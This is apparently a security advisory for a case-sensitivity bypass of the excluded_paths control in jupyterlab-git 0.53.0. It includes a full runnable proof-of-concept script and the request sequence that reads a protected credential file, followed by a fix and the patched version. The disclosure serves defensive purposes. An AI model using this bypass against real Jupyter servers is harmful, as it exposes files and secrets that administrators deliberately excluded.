jupyterlab-git 0.53.0 (latest, 2026-04-30) uses fnmatch.fnmatchcase() in GitHandler.prepare() (jupyterlab_git/handlers.py:91) to enforce the admin-configured excluded_paths security control. Because fnmatchcase is unconditionally case-sensitive, an authenticated user on a case-insensitive filesystem (macOS APFS, Windows NTFS) can bypass the exclusion by varying the case of the URL path segment — e.g. requesting /git/project/Secrets/... instead of /git/project/secrets/... — gaining read access to git history, file content, and status in directories the administrator explicitly excluded.
# jupyterlab_git/handlers.py:84-92
async def prepare(self):
"""Check if the path should be skipped"""
await ensure_async(super().prepare())
path = self.path_kwargs.get("path")
if path is not None:
excluded_paths = self.git.excluded_paths
for excluded_path in excluded_paths:
if fnmatch.fnmatchcase(path, excluded_path): # ← always case-sensitive
raise tornado.web.HTTPError(404)
fnmatch.fnmatchcase() is unconditionally case-sensitive regardless of the operating system. Contrast with fnmatch.fnmatch() which normalizes via os.path.normcase() on case-insensitive platforms.
fnmatch.fnmatchcase("/project/secrets", "/project/secrets") # True — blocked
fnmatch.fnmatchcase("/project/Secrets", "/project/secrets") # False — bypasses check
On macOS APFS and Windows NTFS, /project/Secrets and /project/secrets resolve to the same directory on disk. The exclusion check rejects only the exact-case match, but the downstream url2localpath() resolves the case-varied path to the same filesystem location.
An authenticated JupyterLab user with access to the affected Jupyter server can bypass admin-configured excluded_paths by varying the case of the URL path segment. This grants:
/content endpoint)c.JupyterLabGit.excluded_paths = ["/project/secrets", "/project/secrets/*"]POST /git/project/secrets/status → HTTP 404 (blocked)POST /git/project/Secrets/status → HTTP 200 (bypass)POST /git/project/Secrets/content with {"filename": "./cred.txt", "reference": {"git": "HEAD"}} → file content returnedSee poc.py. Starts a real jupyter-server with jupyterlab-git loaded, configures excluded_paths, and demonstrates bypass + exfiltration via HTTP.
import json, os, shutil, subprocess, sys, tempfile, time
import urllib.request, urllib.error
from jupyterlab_git.handlers import GitHandler # real import, no mock
from jupyterlab_git_core.git import Git
import jupyterlab_git_core
PORT = 18895
TOKEN = "xtoken"
BASE_URL = f"http://127.0.0.1:{PORT}"
SECRET = "sk-PROD-a8f2x9q-LIVE-KEY"
def post(path_seg, endpoint, body=None):
url = f"{BASE_URL}/git/{path_seg}{endpoint}"
data = json.dumps(body or {}).encode()
req = urllib.request.Request(url, data=data, method="POST",
headers={"Authorization": f"token {TOKEN}", "Content-Type": "application/json"})
try:
resp = urllib.request.urlopen(req, timeout=10)
return resp.status, json.loads(resp.read())
except urllib.error.HTTPError as e:
return e.code, e.read().decode()
def main():
base_dir = tempfile.mkdtemp(prefix="jlgit_")
workspace = os.path.join(base_dir, "workspace")
repo_dir = os.path.join(workspace, "project")
secret_dir = os.path.join(repo_dir, "secrets")
os.makedirs(secret_dir)
with open(os.path.join(secret_dir, "cred.txt"), "w") as f:
f.write(SECRET + "\n")
git_env = {**os.environ, "GIT_AUTHOR_NAME": "a", "GIT_AUTHOR_EMAIL": "a@x",
"GIT_COMMITTER_NAME": "a", "GIT_COMMITTER_EMAIL": "a@x"}
subprocess.run(["git", "init"], cwd=repo_dir, capture_output=True, check=True)
subprocess.run(["git", "add", "."], cwd=repo_dir, capture_output=True, check=True)
subprocess.run(["git", "commit", "-m", "init"], cwd=repo_dir,
capture_output=True, check=True, env=git_env)
config_path = os.path.join(base_dir, "jupyter_server_config.py")
with open(config_path, "w") as f:
f.write(f'c.ServerApp.root_dir = "{workspace}"\n')
f.write(f'c.ServerApp.token = "{TOKEN}"\n')
f.write(f'c.ServerApp.open_browser = False\n')
f.write(f'c.ServerApp.port = {PORT}\n')
f.write(f'c.ServerApp.ip = "127.0.0.1"\n')
f.write(f'c.ServerApp.disable_check_xsrf = True\n')
f.write(f'c.JupyterLabGit.excluded_paths = ["/project/secrets", "/project/secrets/*"]\n')
env = os.environ.copy()
env["JUPYTER_CONFIG_DIR"] = base_dir
env["JUPYTER_DATA_DIR"] = base_dir
proc = subprocess.Popen(
[sys.executable, "-m", "jupyter_server", f"--config={config_path}",
"--ServerApp.jpserver_extensions={'jupyterlab_git': True}"],
stdout=subprocess.PIPE, stderr=subprocess.STDOUT, env=env, cwd=base_dir)
for _ in range(30):
try:
req = urllib.request.Request(f"{BASE_URL}/api/status",
headers={"Authorization": f"token {TOKEN}"})
if urllib.request.urlopen(req, timeout=2).status == 200:
break
except (urllib.error.URLError, OSError):
pass
time.sleep(0.5)
else:
proc.kill()
shutil.rmtree(base_dir, ignore_errors=True)
sys.exit("server failed to start")
try:
# exclusion works
code, _ = post("project/secrets", "/status")
blocked = code == 404
# bypass
code, _ = post("project/Secrets", "/status")
bypassed = code == 200
# exfiltrate
code, body = post("project/Secrets", "/content",
{"filename": "./cred.txt", "reference": {"git": "HEAD"}})
content = body.get("content", "") if isinstance(body, dict) else ""
exfiltrated = SECRET in content
ok = blocked and bypassed and exfiltrated
print(f"exclusion enforced (lowercase): {blocked}")
print(f"bypass (case-varied): {bypassed}")
print(f"secret exfiltrated: {exfiltrated}")
print(f"result: {'VULNERABLE' if ok else 'NOT CONFIRMED'}")
return ok
finally:
proc.terminate()
proc.wait(timeout=5)
shutil.rmtree(base_dir, ignore_errors=True)
if __name__ == "__main__":
sys.exit(0 if main() else 1)
pip install 'jupyterlab-git==0.53.0'
python poc.py
<img width="686" height="146" alt="image" src="https://github.com/user-attachments/assets/f5b8d349-539a-44d7-9b17-d13b5f802625" />
if fnmatch.fnmatch(path.lower(), excluded_path.lower()):
raise tornado.web.HTTPError(404)
Or apply os.path.normcase() to both operands before comparison.
| Software | From | Fixed in |
|---|---|---|
jupyterlab-git
|
- | 0.54.0 |
A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.
CVSS (Common Vulnerability Scoring System) estimates technical severity, but it doesn't automatically equal business risk. Prioritize using context like internet exposure, affected asset criticality, known exploitation (proof-of-concept or in-the-wild), and whether compensating controls exist. A "Medium" CVSS on an exposed, production system can be more urgent than a "Critical" on an isolated, non-production host.
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